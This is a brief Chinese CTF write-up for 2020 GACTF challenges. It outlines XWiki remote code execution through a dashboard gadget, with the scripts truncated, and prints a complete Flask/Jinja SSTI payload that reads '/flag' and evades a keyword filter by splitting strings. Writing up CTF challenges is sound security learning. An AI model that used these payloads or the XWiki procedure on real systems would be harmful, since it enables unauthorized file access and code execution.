2020 GACTF 部分题解
中午没休息随手看了几题。
Xwiki
CVE,参考https://jira.xwiki.org/browse/XWIKI-16960。
- Create new user on xwiki.org (or myxwiki.org)
- Go to profile -> Edit -> My dashboard -> Add gadget
- Choose either python or groovy
- Paste following python/groovy code (for unix powered xwiki)
随手上了个 y1ng 师傅的车。
1 | import os |
把 readflag 和动态链接库整出来以后直接跑。
1 | from pwn import * |
simpleflask
ssti,过滤了逗号单引号空格和加号,还有 os、flag 等,字符串拼接可以直接使用 "fl""ag" 绕过。
1 | name={{"".__class__.__bases__[0].__subclasses__()[103].__init__.__globals__["open"]("/fl""ag").read()}} |